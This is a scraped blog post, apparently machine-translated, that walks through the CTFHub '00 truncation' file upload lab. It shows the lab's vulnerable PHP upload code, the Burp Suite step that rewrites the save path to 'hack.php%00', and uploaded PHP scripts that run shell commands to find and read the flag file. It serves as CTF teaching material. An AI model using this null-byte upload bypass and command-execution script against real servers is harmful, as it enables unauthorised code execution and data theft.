当前位置:网站首页>PHP file upload 00 truncation
PHP file upload 00 truncation
2022-06-26 15:11:00 【Yale letter】
0x00,%00,/00 Or something , It's the same thing , It's just a different form of expression . Like a girlfriend 、 Woman ticket .
On website url in ,%00 Will be decoded into 0, And in the ascii in ,0 It's a special character ( Not characters '0'), Indicates the end of the string , So if url In the %00, It means that the decoding is completed .
Such as :
https://www.yalexin/?file=test.txt Now the output is test.txt
If replaced :
https://www.yalexin/?file=test.php%00.txt At this time, the output is test.php
Let's look at an example :
ctfhub The skill tree -web- Upload files -00 truncation
After opening the scene, there is a page for uploading files , Look at the source code as follows :
<script>alert(' Upload successful ')</script><!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>CTFHub Upload files - 00 truncation </title>
</head>
<body>
<h1>CTFHub Upload files - 00 truncation </h1>
<form action=?road=/var/www/html/upload/ method="post" enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>
<!--
if (!empty($_POST['submit'])) {
$name = basename($_FILES['file']['name']);
$info = pathinfo($name);
$ext = $info['extension'];
$whitelist = array("jpg", "png", "gif");
if (in_array($ext, $whitelist)) {
$des = $_GET['road'] . "/" . rand(10, 99) . date("YmdHis") . "." . $ext;
if (move_uploaded_file($_FILES['file']['tmp_name'], $des)) {
echo "<script>alert(' Upload successful ')</script>";
} else {
echo "<script>alert(' Upload failed ')</script>";
}
} else {
echo " File type mismatch ";
}
}
-->
</body>
</html> You can see in the source code , First, check whether the file type is in the white list ( That is, only picture types can be uploaded ), After the file type passes , analysis road Parameter values , Then a random number and date are spliced as the file name and uploaded to the specified directory .
After a simple analysis , Probably know the idea : Using agents , Write a php Script , Change its extension to picture type , Then intercept the data packet 、 Modify the data package , Visit the script we uploaded .
In the first place to find flag Possible locations :
<?php
system('find / | grep flag')
?> Save its file as hack.png
Then turn on the agent , open Burp Suite Software , And put the interceptor (intercept) open
Upload what we just did in the browser hack.png
And then we'll be in Burp See the datagram in , We try to
POST /?road=/var/www/html/upload/ HTTP/1.1Change it to :
POST /?road=/var/www/html/upload/hack.php%00 HTTP/1.1 And then click forward
After uploading successfully , We access the script :
/upload/hack.phpSure enough, I saw something :
/sys/devices/platform/serial8250/tty/ttyS0/flags /sys/devices/platform/serial8250/tty/ttyS1/flags /sys/devices/pci0000:00/0000:00:03.0/virtio0/net/eth0/flags /sys/devices/virtual/net/lo/flags /sys/devices/virtual/net/dummy0/flags /sys/module/scsi_mod/parameters/default_dev_flags /proc/kpageflags /usr/lib/perl/5.14.2/auto/POSIX/SigAction/flags.al /usr/lib/perl/5.14.2/bits/waitflags.ph /var/www/html/flag_139938352.phpThe last is what we want . To read the file .
Modify our script hack.php
<?php
system('cat ../flag_139938352.php')// Be careful , The script will eventually be uploaded to /var/www/html/upload Under the folder , Therefore, go back to the upper level directory to read flag
?> You can read the content by continuing to upload according to the method just described ( Be careful : We visit hack.php You will encounter blank pages , Right click to view the source code flag).
边栏推荐
- Redis cluster
- The DOTPLOT function in the epidisplay package of R language visualizes the frequency of data points in different intervals in the form of point graphs, specifies the grouping parameters with the by p
- 使用 Abp.Zero 搭建第三方登录模块(二):服务端开发
- Unity C # e-learning (10) -- unitywebrequest (2)
- 使用卷积对数据进行平滑处理
- RestCloud ETL抽取動態庫錶數據實踐
- R语言dplyr包bind_rows函数把两个dataframe数据的行纵向(竖直)合并起来、最终行数为原来两个dataframe行数的加和(Combine Data Frames)
- Is it safe for flush to register and open an account? Is there any risk?
- Redis cluster messages
- R语言使用epiDisplay包的aggregate函数将数值变量基于因子变量拆分为不同的子集,计算每个子集的汇总统计信息、使用aggregate.data.frame函数计算分组汇总统计信息
猜你喜欢

【TcaplusDB知识库】TcaplusDB单据受理-建表审批介绍

刷题笔记(十九)--二叉树:二叉搜索树的修改与构造

RestCloud ETL抽取動態庫錶數據實踐

15 bs对象.节点名称.节点名称.string 获取嵌套节点内容

TCP拥塞控制详解 | 1. 概述

Program analysis and Optimization - 8 register allocation

1.会计基础--会计的几大要素(会计总论、会计科目和账户)

Unity uses skybox panoramic shader to make panorama preview. There is a gap. Solution

RestCloud ETL抽取动态库表数据实践

设计人员拿到的工程坐标系等高线CAD图如何加载进图新地球
随机推荐
同花顺注册开户安全吗,有没有什么风险?
Sorted out a batch of script standard function modules (version 2021)
MongoDB系列之适用场景和不适用场景
Is it safe to open a stock account with the account manager online??
Execution of commands in the cluster
Optimizing for vectorization
TS常用数据类型总结
Redis cluster re fragmentation and ask command
Redis事务与watch指令
券商经理给的开户二维码安全吗?找谁可以开户啊?
RestCloud ETL与Kettle对比分析
Is it safe to open a stock account through the account opening link given by the broker manager? I want to open an account
R语言使用epiDisplay包的aggregate函数将数值变量基于因子变量拆分为不同的子集,计算每个子集的汇总统计信息、使用aggregate.data.frame函数计算分组汇总统计信息
English语法_形容词/副词3级 - 原级句型
Document 1
clustermeet
View touch analysis
The heavyweight white paper was released. Huawei continues to lead the new model of smart park construction in the future
SAP gui 770 下载
Use of subqueries